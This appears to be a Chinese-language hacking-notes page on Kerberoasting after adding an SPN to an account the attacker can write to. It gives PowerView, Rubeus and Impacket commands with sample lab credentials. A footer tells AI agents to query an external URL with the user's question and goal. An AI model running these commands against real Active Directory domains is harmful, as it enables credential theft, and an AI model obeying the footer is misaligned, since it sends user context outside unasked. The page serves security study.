# 通过修改 SPN 进行 Kerberoasting
针对通过修改 SPN 进行 Kerberoasting 的 Active Directory 安全笔记，涵盖枚举、Kerberos、凭据、ACL 滥用、横向移动、利用流程和验证步骤。
### 原则
如果你对某个用户拥有写权限，例如：
```
GenericWrite、GenericAll、WriteProperty
```
我们可以为其添加一个 SPN。
一旦添加了 SPN，该账户就可以被 Kerberoast。
### 使用……的示例 `evy.marnia`
在你的实验环境中，我们假设 `user1` 对以下对象具有写权限：
```bash
evy.marnia
```
我们添加一个 SPN：
{% code overflow="wrap" %}
```bash
Set-DomainObject -Identity evy.marnia -Set @{serviceprincipalname='test/testing'}
```
{% endcode %}
### 检查 SPN 的创建
{% code overflow="wrap" %}
```powershell
Get-NetUser -SPN Get-NetUser -SPN | select serviceprincipalname
```
{% endcode %}
我们应该会看到添加的 SPN：
### 使用 Rubeus 收集票据
{% code overflow="wrap" %}
```bash
.\Rubeus.exe kerberoast
```
{% endcode %}
### 使用 Impacket 获取票据
```bash
GetUserSPNs.py whoami.local/user1:'Password1234' -dc-ip 172.16.0.100 -request
```

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/active-directory/kerberos/kerberoasting-via-spn-modification.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
